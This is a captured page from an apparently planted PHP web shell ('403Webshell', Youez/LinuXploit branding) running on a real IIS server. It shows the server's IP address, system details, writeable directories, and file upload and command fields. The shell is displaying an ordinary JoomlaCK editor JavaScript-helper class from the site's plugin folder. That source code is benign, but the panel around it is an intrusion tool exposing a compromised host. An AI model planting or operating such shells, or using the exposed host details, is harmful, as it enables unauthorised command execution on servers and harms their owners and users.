403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.127
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Old Sites/Engineering/V2/plugins/editors/jckeditor/includes/ckeditor/htmlwriter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Old Sites/Engineering/V2/plugins/editors/jckeditor/includes/ckeditor/htmlwriter/javascript.php
<?php

/*------------------------------------------------------------------------
# Copyright (C) 2005-2010 WebxSolution Ltd. All Rights Reserved.
# @license - GPLv2.0
# Author: WebxSolution Ltd
# Websites:  http://www.webxsolution.com
# Terms of Use: An extension that is derived from the JoomlaCK editor will only be allowed under the following conditions: http://joomlackeditor.com/terms-of-use
# ------------------------------------------------------------------------*/ 

class JCKJavascript
{

	var $_data;
	var $_scripts;
	
	function __construct($data = array(),$scripts = array())
	{
		$this->_data = $data;
		$this->_scripts = $scripts;
	}

    function & getInstance($data = array())
	{
		static $instance;
		
		if(!isset($instance))
		{
			$instance = new JCKJavascript($data);
		}
		return $instance;
	}
	
	 function addScriptDeclaration($content)
	 {
	     $this->_data[] = $content;
	 }
	
	 function addScript($src)
	 {
	     $this->_scripts[] = $src;
	 }
	
	
	 function addToHead($document = null)
	 {
		if(is_null($document))
			$document =& JFactory::getDocument();
		$content =  implode(chr(13),$this->_data);
		$document->addScriptDeclaration($content);
	 }
   
   

	function toRaw()
	{
		$scripts = '';
		if(!empty($this->_scripts))
		{
				$js =  implode(chr(13),$this->_scripts);
				$scripts .= $js;
		}
		
	  	if(!empty($this->_data))
		{	
			$js =  implode(chr(13),$this->_data);
		  	$scripts .= chr(13) .$js ;
		}	
		return $scripts; 
		
	
	}

	function toString()
	{
	 
		$scripts = '';
		if(!empty($this->_scripts))
		{
			foreach($this->_scripts as $script)
			{
				$scripts .= chr(13) .'<script type="text/javascript" src="' . $script . '"></script>';
			}	
		}
		
	  	if(!empty($this->_data))
		{	
			$js =  implode(chr(13),$this->_data);
		  	$scripts .= chr(13) .'<script type="text/javascript">' .$js . chr(13) . '</script>';
		}	
		return $scripts; 
	}
   
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit